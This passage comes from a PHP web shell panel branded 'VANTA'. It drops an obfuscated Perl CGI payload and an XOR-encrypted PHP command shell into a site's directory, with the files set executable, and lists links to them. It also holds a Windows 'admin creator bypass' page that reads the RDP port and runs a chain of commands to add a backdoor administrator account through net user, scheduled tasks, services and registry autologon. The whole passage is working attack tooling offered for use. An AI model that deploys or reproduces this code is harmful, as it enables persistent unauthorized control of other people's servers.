use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';
$asc = prvdz_ascdump($pl_payload);
$f = fopen($plf,"w"); fwrite($f,html_entity_decode($asc)); fclose($f); chmod($plf,0755);
$paths[] = ["CGI Perl Special", $plf];
$phf = $cgidir.'/'.prvdz_rndstr(9).'.php';
$cf1=prvdz_rndstr(5); $cf2=prvdz_rndstr(6); $cf3=prvdz_rndstr(7);
$php_payload = <<<'PHP'
<?php $ve017499b24="366f3971556a482a3966526e26334d65666565626432336536666339316336392454704c237a313940425e6137642158";$v6789ef794d='';for($i=0;$i<strlen($ve017499b24);$i+=2){$v6789ef794d.=chr(hexdec($ve017499b24[$i].$ve017499b24[$i+1]));}$v6789ef794d=strrev($v6789ef794d);function fc726c15f02($be0647970224518ac6c7abd9ee879da39f7){return hex2bin($be0647970224518ac6c7abd9ee879da39f7);}function ffe80814332($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$e3d26b8f3fb594246Len=strlen($e3d26b8f3fb594246);$a297955cd64439654e8031e1e='';for($i=0;$i<strlen($be0647970224518ac6c7abd9ee879da39f7);$i++){$char=ord($be0647970224518ac6c7abd9ee879da39f7[$i]);$f93700fcddba236015a=ord($e3d26b8f3fb594246[$i%$e3d26b8f3fb594246Len]);$a297955cd64439654e8031e1e.=chr($char^$f93700fcddba236015a);}return $a297955cd64439654e8031e1e;}function f0fe28bdc4c($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$eb7f6b8164569b7c36e1=fc726c15f02($be0647970224518ac6c7abd9ee879da39f7);return ffe80814332($eb7f6b8164569b7c36e1,$e3d26b8f3fb594246);}$vfa90f6f087="641e145f1153486050575a0b682f07616b60266362413a0757016e555250391e507c6f175c673a081a7d3664430a334e6d15380652691e71080426127c45085c0c023f0008533a0754046e1c5651473b45700e1b4e703a411e7f362d450c33076a15461e412562285c501e463e5876780806506d0856516a540604381a52513a1d7b067a5f675065527f5e09440c33076a15384f56671e380e01265b7a45085c0a573f490e573a4e53066e1c555d395753796f13590e1e0f12141262456517003c7d1c0102023a735b6d4e1310416017654e5509651b5007394b05563e545355397c0713322a510d763059312d085d03041056033d26767665044f7f34436c06100d430e076e6c0a0d475f085c590d0304290d1a1a3b12554f76447a555a025278431d47002d31604a59494f205028044e41141f49110f4001524b1e4c060a0b5962474f1a3e0307163b1e2c1d5c515437451d4c033f212b5e43155622146e075f50050a5a0c0a591709110157565c555076554900264b5f4b25033908030259364e1747003d273d5b440e57231e784d57461645420107550e54400b170b015c462b57430d3705024927063a03034c536d125d045465202f4b551f517641245c19450c5d500746150006015d51505e160429574f00355c015a304a644549170d354016500830787749495a1377123b565d53111c4b02025f10400853121d1816172848440f310d5e58271f3b15034c503e4753515665212f555e08196f1561170005560a490202520c5d555e5356151e457c0b5616690456582c0f275c4b0e523154170d506e3238025c1b512b193a094d59130b0854164e5e515d1c4f160d070122441c5e72544952685b6701414f153d14570e526b7070025e0c463e16384b4e0c02444d0c1b571e505d080d175f45077a02455f311b79472d0e3c10110257200c135e052a2a7a0f014a5334592f464c42175e574f0f58154646481217001d1224575206685f0e5c3f17284d161c42214d01095d2d213250410e1d2a053a474d5f0c5f1907540401040a0707545454502e56155d7a14155e611139144d4f53744e591543722c7d4d1f194b2d02174b5d53224511534f0d035c404c0758555d007141080237085e5e2051305a124659731c374313372c271757084c21333c454b750c555c4b1418065b5316210a010324391b43470c0810113a0f21044b0116375c693d173f3060580c21127c44781508004f0008554a0754011e55535049535d61071142665115137146644109430769114803577273710b1d4b12785c65140c1a5200014f5706551f0b534e545757497c01144266501513714664400843076818390c173f30605b0c21177b5c65140c1a5201004f5f01490202574e545557497c021342665164113e0b27515a526d69115c1b506f736c0801490f7d41650800034f00085b4a03556e091203174502581607104263570b06795b655d085f05052c6e5114302134505e140339582408481a111d4a4a1d40044112105f154b050a2350471a7a17155864197c4a4f0e44785210455c79657b5f5e080b3a112604500b530a505f121809565c03160d5e0f4e661a5d1d261412171b1e27185708183e530b5a223623327a5e1e4664040f4d641f1e3c3311034210415c441111171b684755530031125045264a235941464d2a441042133062224d5e1b0b345929293350165f5a170f590b13515d5655555e077e0b470c3304011b714221584203532c01010a437c79265643524f2904744a0406585f0517485a005d55100a5e0b4d4e64560d537a440908631e7b12510e441b4e0052202a6a2e101f0e4c1f04264d57514b000f4a4f18165f5b07074d48544c7641431a2714570a2d17587b1109433642105e0e3062230d054a167d4331425c52070101515707071b1b1f140417461d25411b003711197205261d054d1f643d501152122a6a6902491251621f2441571e44617630321149461a054e07490549291a0a4f624f025220187b025c1b643d501152122a0a2558551f516457174b5742065f4d4e324f1556154845041516092450471a3b095705304722064e42503753091a142c2e25575215472914730d024e0b4317100358011b15020b09005b4266450e023d05585e21053b5f511d533e084d4a48766b49343b1c562213204d565843555b57515056050501045007045d7c0a0e0b7b1d554f3c4a3b4c5c4145284d0d43497c606917431f5529022741111f4d5b560a081e47111b48105801545729041e0d375708187d0930420a475874032f15486530254d44084d6c136d1009065b530a5b075404510a555b4d174f184039401b3c054d432704751e571c433a09111e1a3227341954475662136f565c4216435743031813525e1107580104517a55155865035f1f2a086d400047537657055b143b6b6c1801071f630337565046170f054c0e5304570c58000a011f5b715b145021125c4b241e3d511740123b4c0017032732214a425a5f6c072353174611584f07074f1f1d510b0f594a0e57730f191e3a16190a6c356551044f5f2b520143497a1d077c652101104160171b6b4a11064342692276663f40395452566f6e065472411e11680c201f5a1b5f374f4454003c75770e5743132d426647080f4b1566524f161e13163b50455846426a0806083d1419026c356651044f0663014068527e7e604a45084f291e7c0066074a0a1947390545180f44504c451d45696c144e7c5b194920187d195c17523d424c133e6f1964660227036250707b086d476e0a434d16546e1b4d59451846172847531c3c461d757a51750c1909433642105e0e3062240b031e1474133115080456525c50551e416c064842413a534c6d48064a0d541917684d724a194b696e0159170e2c26681d6e4f787c2d7d1f19500c43194b426956130f44525e45423a7e131a4e21124b462d047d55665b1f6301406852756969194a5a071342740a041600594b4b0944011b163b563e413956101a06307242661c6151750c191d532c541659417a1d7202110703682f63040416441602430f50451b163b524c451d45696c1e4e6f465d187a0e62495a0a0769135154046d71685a5018147b47321d095751035a525f1e416c024d4e45473a547c00044769461d757f4a68514a1b442a44121f45017a6902110703291c2741194d43156654460b45116e1c545c395751796f115d0e570f1f145b6047651700697d5502540273740c6d02117c2c2c165d6a520508415d16181357070a0a4544397a077a16645065527e0c09400f5d6a2017006b556e1e380f552612784508150f023f490f5b3a0750046e1c5451391e56296f12590e57091d145b6544655e046c7d50003d26707065004f1410416112654e5402651b5103390206563e1d5302397c0617322a510d763059312d415d01041052053d26747565004c1710416211654e5403651b5053390702385350523a5478057a166555651b7e5f09090f5d6a6d11384f566a1e380f09265b7a49085c0e053f04083f5105390705385553391e04114b150d0e1e0f13145b6047651701687d550154023a770d6d4e131008624165075700651b5052394b04513e52503a517a6f175a613a0d1d14126741655e006e7d1c0150023a765a6d4b15792c2c120c6a1b025d3f5201394b00533e1d56033935527a59663a081e7a362d460c33076e15384f566a1e380f57265b7a15085c0a533f490f543a00556f4a5701395051393505143263500c76305d612d415802041051003d26742565494946100835784105006d0c543a0751056e5557523957537f6f5e58363a41192d366245655e00687d550153023a760c6d021029526f045f430d524d0a09584550034c463a5c4f453613540b26134b44680338015500523d0943104d7e23324b50037c2111240c5f430d524d0a0958451b163b53554c461e6d41431a2714570a2b0227591d300768085f171c7262646608530a775029045f430d524d0a09584550004c463a5c4a45696c175f7b46420a6c3564431952167f065f1707313060111525106c4d74140216476e0a435a1616474008070b4d423a741a1d4e76390a016343750a194b69691344195c7e21284b1915512858707b006d476e0a3e4f163b13163b53544c5d453013540b26134b44684e0a400b5416250102420f3d3629565f5a407f58707b001f434a1911034210415c440004160353796c420b31095d4f604e0a48105416250102420f3d3629565f5a407858707b001f434a1947390756130f4445425e46032241430f310e19023b1e272e4a1f5a31554c133e676b6058425a071341650d194d4315665255164b0e12463e1d53553935051e3263500b767d5a7751174f592a454c133e6f7369191f5a011008661d1b164d111b3f53004708121942170012103f5d061d27044a5e3a42712e085c1a781148174c6f6b7b194c5a45391e375050590d115a564e123a0a1b4419451703113841484e38095044604d725d191c422a7e17470d3736681d6e430a654b745919123c000d435b16044140051b4d06574d2c41540f2b4e081b7d4675400b5e1a781055024d7e73710f1d5a127c41780408065a18104f4655541b531610041c4e547c060a4e63560d06685b6540154f0768194817506e7a6c19084f0f6c41641515165203094f460755021e445b5c4c4f496d501446703a411c7e362d475c33076c15384f576e606c1907530f6c13650c58441150404b5707571f125d5549455754781f065f6353150a795b635d195e066c0d4406506a6e6008004d0a655c7447081e02434b021f1e5402004842545457496d02175c7e46081a79467540085f1f710d44545376601c0804497f7d4561780803546d0850506a540702385353573a547b027a5f64561b06685e7c5d190c077040164500276a7108035603754978040807531d19525700491303545a49455f506113175e634a191b7a5a7951085f0774015d0e48776e605a0052423e02355d110f541d195257034913035557494557557c1f065f6352150a795b63581043163b104c56132c233911004a1260506515011a43080e4f4607550b1b4d4b5e450010235052073d08195a3a5b23414147120710511e4125626466035a1e6c57731f19123c000f435b1625435d14070b4d423a7c060640724465527a5a09470b33016e7d1c05570274711b1d5a01100863161b1f58115005461e416c03524b451e4612255a4a0b724e184c2d0533591d30076e084d171a7e661f0b11541e6c16264158524b156652501a450102505a4c5e46186d4345023d155c026c35644710541625011652152b302e19152511775029045f430d524d0a09584543405614551d4e4112021347721d190e1758754c194811630140685069627d195008512d097c15190b5d11581114571c1b10381a52553a5478027a166556651b7c5f775d194d6a6917531548726272190c44032d022645401e416d0855566a540603381a52553a1d7b0604427244651b7e5d77581054167c7e550f4163620049431540131f2441571e476e0856461845116e1c5055395057110410322a540f767e5b775d194b696916481745017379100a5a4a2a507c4d4a6911544a0c134406561a403d545d4f4c6d48064a0d541904754a26054b0a57357e03521501212f57451f4d38037c0066075a6a083e4f0d455551080d16004e4112021f35633b1011684e0a4319410b78521045043f2f1f5e540e7c2f1f3a505c581742114739075c6800394b5e450006215c550b7a42661b7131672c10541628530b543e3d2e2f4a54520713416c0d02161e114b061243175d12403d575e46186d55530031125045264a25030b0c0620094068506b6b60421113456c58325157551758560d39531d5a4110114d473a547b037a166455651b7d5c09090e5b6a2017076b506d751c41074f7f7d4764784100566d085755144c1a121f42413a54556d0e064c0e530f76305833531941162d4f0d46083a6a6265494d101008621c1b1f431f19413a03536f4a5356395451551102105a705d196a38093b055530532044071f4302777765494c111008621d65075607651b5450394b05573e1d535e476113471c200740026a362d435d334e6e12461b417c396466004f5e10086614654e505442473904554e6e5052391d5557110410322a540f763059645310460d7848021749382b2c5c6e1f5b2503205711123c03094a4f161e13163b5054455b450d554f0237395e4f3c35361e571b533655171f45017070100a5a56221c3d4a521e476e0b534f0d4541571017170b464112011755721b1957681830054c1d587806430c4123626466034803715035564b571a19105846500a415705010d454e411202124e3315190e175866581914167c7e56053a03627d19570f4d2f043d4b57164b156652531f454641014a413a545664135d4e3b0019026903262e5a0e5a3440065b0476661f0b02530a6c0b74565c421643574300570940575f42184514003946540072265a4b24060a044a0a44074711590276661f0b025603682f6511100d434c02434269570169394258450010235052073d0819026c356444104f432b444c133e6c7169194a5a512904215657162352580f0a69104057163d031008066551471d37500d752c0f361e5d0a1e3a401752576a1d25575215472958707b0b054a181543426954061b5f42185e4641120114350f46040a2e1f3b124d065936014c133e6f77691944094664540b160a1f434a1911034210415c442206040a091246550b20395f5f26097d1b5606587006431b412d363266420a4f25047c0066045018104f46123a02074d5945185d45696c145c093b1917680c201f5a1b5f374f441f4501737510110f502958707b0b054a1142434269570712594242425d452b5c540b3305510a60192103661c463448101f4501707310111b506c540b160c1f434a1947390451131c5942473957517e6f175b623a411d7a3660411b4f18784e1653497a1d720c185a0d6c5208110814431f19413a03531109441f4541395779131b4e21135b593c187d55665d027401541b41737369021108463805264a19760647580f4e14390706385351533a1d7e57044e7c461d757a5e755f194d6a6f12384f566c1e380f04265b7b44085c0e033f000f513a4e53566e505239545655114b145a0e1e0f1c141267496517046c7d550352023a765d6d0215782c6115654e50531b4a5d161808121942413a5457166e065372004c442b1e3c1e574f1e7c7e5502487e39604b540e563e1e74645c40025d1147390750131c4440395255476408061369461d757a580e2c1952163e540a5415372d2e19195e7c7d457d04421611544d16145845735317110017124d696c175b72481908141266131b460d785c5f1745017072626c5a1e6c16214a5a420a5e57434e123a02074d421e45423a7f05065372085c5d68383017550a552c480b59272b2c234d58154d641326415842066e5f160855115a5d0a4a42424a456f6f5e59603a411c7d362d460d33076e14384f566c1e710c0726177c2c6215654e50531b4a4f0d45176d565545584641120110436c015c5e060b381411460d78480217497a1d720e185a586c0231504c440d117900075a096c471707173a001023500e4a0d540e06684e0a400c460d785c4445042a373257115d047750291f19123c030b383b16581354110c06110f0a23130e4a0d570c03681175035c1b432a4f4447136f347041195e7c7d457d1f194b58111d3c54043e6e12594203100806395a4900724e1d75795f7c51424f443d5511450f7e32320b474a5b64540b150c1f5811445846123a01003f3f45584603385d451a3b09570a604e0a400c4616230140685366627d196e2565053c117b660d431566515f165813540d0e003a0100396c45013c125c443c197d55665d0e711a445e077e6a334d430a4c3f58707b0b0f4f111b3f5101394b0101404c4547587013400f3e155c0368117555665c06781c4444143c31344b195e7c7e4978044a42114156104e123a010b4842473951521104104c7b46120a7a436e51444f53345201171a7e661f0a015a1e6c57731f194b435e5b3c15420441464c4b5e4526003b524a4676390a1a61517555665e04781c4458030125254d6e194f29113a0c100d43435c1713440b13163b53575e46187613023160546277685775174c01552c480b594176661f08045303375026414d43115f1913140406034a4c463a54534c76135b55724266187a310851044f502d4f074308312c60111525127959745f19123c0309435b16476f4a5607395051476d1d061b3c0f48432c42772d4158050459520f3d6f75701b1841032a193841664616456600095811565c10114d4139577d1f064c0e520a763058642d0c586a6915566b506b731c41071f7f7947085c0e053f000c533a4e0448163b5350183a1d2c110f5572055147270e7d55665d067401500e527779601d6e48126c4d744442123c03091e46045b1503045945100809245d4d4676390b1a615175035c1b432a4f44133e6c737b194c4103682f6715190b43504b11074f4d55470a01110c090b6d1b02316154100a334a27144d1a4436014068526c7960441d5a45391e375050590d1111473905571a121f42170012103f5d060c33155c1c7c3531145a00523d090656123b7474665414402314310c1d695003104a5d16181f1202170b06120c225d064676390a18614a2e511d30076a015917467979601d6e49106c4d74150a0d43575611461e416c01445f45555d45696c154e6e464a5e3a06301f114b696b134d0c417a1d73121a53033750707b0804431f0443055e171b5d16064d4139567f1a0630724266197b436e51444f443d5511450f7e661f08034103315c74424c580045500c08164d176d57504c451d45696c155a725b190d6f517517561d1670053b044163627002115e7c7f5068044a42115d5c0d4e123a00004d594541395666180f4e29461d757b5e755f044f14045951543d6f75701b1154032815374c5c4e4b5e4b074e123a00003f463a563b4c6408061372145c5e3d183b511d30056c1a444a4d7e243557520e4a231e740c1d69500310431d1617564611100b450f083d5f490a374e1b7630583053154f572a53054e3e33233011570f4d2f043d4b57164b156652561f45481216071110140b6d117a5f6655651b7d5a09400f5d6a20135c154170622f4b5552071341640d19184313655657145e134f48421611143a3e434a07264e1d757b587c5810541625085f1745017175190c5a046b4b7442564406505a0b461e416c0056420416464112001047721d194c271830105a071670053b04507e2333191525107b59745f19123c0201435b16416c01534a413a514c76130231615f1917682a712e0a591e7c7e570f486562295f11520713436d041f1043454b0a0b1e416c015d4b45445b586d140147721d190e17596051044f1207125d0c413c3025585a5a117750290444161e115005461e44176d57574c451d45696c155b725b1908145b6642655e036e7d1c010702767065004f141008631165075505651b5106394b05513e1d52523979037a166400651b7e5809090b5f6a2017566b506b761c41071c7f7d4467780803506d4155536a540706381a5001445e6d4e060b310e560a201e381d4a1f533b48055b023623324a195e7c7f457d1f195300595643446a1d0051381a57033a547b037a5f6454651b7c5f09460f334e6b42380256023a760b6d4b167b2c2c120d6a5206083f1e05006f05503e50523a5478037a5f645265527e0e09090f0c6a201201155a7e26295c0a5a5e6c4f6a";$ve5c970b653=f0fe28bdc4c($vfa90f6f087,$v6789ef794d);if($ve5c970b653!==false){eval("?>".$ve5c970b653);}else{echo"RSS Error.";} ?>
PHP;
$f = fopen($phf,"w"); fwrite($f,$php_payload); fclose($f); chmod($phf,0755);
$paths[] = ["Php c0mmand sh3ll VANTA", $phf];
$fullbase = $domain . ($dir ? $dir : '');
echo '<div class="pzcard-alert"><i class="fas fa-biohazard"></i> <b>CGI deployed! All chmod 755.</b><br><ul class="pzcard-shells-list">';
foreach($paths as $sh) {
$rel = $sh[1];
$url = $fullbase . '/' . $rel;
$link = $url . '';
echo '<li><b style="color:#e53935">'.htmlspecialchars($sh[0]).'</b>: <code>'.htmlspecialchars($rel).'</code>
<a href="'.$link.'" target="_blank">Open</a>
<span>(chmod 755)</span>
</li>';
}
echo '</ul></div>';
}
?>
</div>
</div>
<?php elseif (isset($_GET['winr00t'])): ?>
<div class="vanta-cmd-page" style="max-width:900px;margin:44px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:10px;">
<div class="vanta-cmd-ico"><i class="fas fa-user-shield"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.15em;">ultra admin creator byp4ss (Windows/2025) - by Fayshihuang</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:25px;">
<form method="post" id="winr00t-form" style="margin-bottom:18px;">
<div style="display:flex;gap:9px;align-items:center;flex-wrap:wrap;">
<input type="text" name="user" class="vanta-cmd-cmdinput" value="<?= htmlspecialchars($_POST['user']??'VANTAadmin') ?>" placeholder="user" style="width:170px;">
<input type="text" name="pass" class="vanta-cmd-cmdinput" value="<?= htmlspecialchars($_POST['pass'] ?? substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 12)) ?>" placeholder="pass" style="width:160px;" readonly>
<select name="mode" class="vanta-cmd-cmdinput" style="width:110px;">
<option value="auto">ultra byp4ss</option>
</select>
<button class="vanta-cmd-btn" type="submit" style="min-width:90px;"><i class="fas fa-user-plus"></i> Create</button>
</div>
</form>
<?php
function detect_rdp_port() {
$reg = v4nt4C('reg query "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /v PortNumber 2>&1');
if (preg_match('/PortNumber\s+REG_DWORD\s+0x([0-9a-f]+)/i', $reg, $m)) {
return hexdec($m[1]);
}
$netstat = v4nt4C('netstat -an | find ":3389"');
if (strpos($netstat, '3389') !== false) {
return 3389;
}
return 'Unknown';
}
$rdp_port = detect_rdp_port();
echo "<div style=\"color:#e53935;font-size:1.08em;padding:5px 0 8px 0;\"><b>RDP Port:</b> <span style='color:#1976d2;font-family:monospace;'>" . htmlspecialchars($rdp_port) . "</span></div>";
?>
<label class="vanta-cmd-outputlabel" style="margin-top:18px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="winr00t-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:1500px;overflow:auto;">
<?php
function wout($msg) { echo htmlspecialchars($msg)."\n"; @ob_flush(); flush(); }
function prvd_exec_with_timeout($cmd, $timeout = 10) {
$ps = "powershell -Command \"\$p = Start-Process -FilePath 'cmd.exe' -ArgumentList '/c $cmd' -NoNewWindow -PassThru; \$p | Wait-Process -Timeout $timeout; if(-not \$p.HasExited){\$p.Kill()}\"";
$start = microtime(true);
$out = v4nt4C($ps.' 2>&1');
if (trim($out)) return $out;
$fallback = "timeout /T $timeout /NOBREAK & $cmd";
$out2 = v4nt4C($fallback.' 2>&1');
if (trim($out2)) return $out2;
return v4nt4C($cmd.' 2>&1');
}
if (!isset($_SESSION['v4nt4_winr00t_success'])) $_SESSION['v4nt4_winr00t_success'] = false;
if (!isset($_SESSION['v4nt4_winr00t_user'])) $_SESSION['v4nt4_winr00t_user'] = '';
if (!isset($_SESSION['v4nt4_winr00t_pass'])) $_SESSION['v4nt4_winr00t_pass'] = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['user'],$_POST['pass'])) {
$u = preg_replace('/[^a-zA-Z0-9_\-]/','',$_POST['user']);
$p = $_POST['pass'];
$mode = $_POST['mode'] ?? 'auto';
$success = false;
$methods = [];
$methods[] = [
"[*] net user (classic)",
"net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
];
$methods[] = [
"[*] PowerShell (background)",
"powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] schtasks",
"schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
];
$methods[] = [
"[*] at.exe",
"at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] sc service hack",
"sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
];
$methods[] = [
"[*] Registry AutoAdminLogon",
"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
];
$methods[] = [
"[*] Fallback CMD",
"cmd /c net user $u $p /add & net localgroup Administrators $u /add"
];
$methods[] = [
"[*] PowerShell Script Chain",
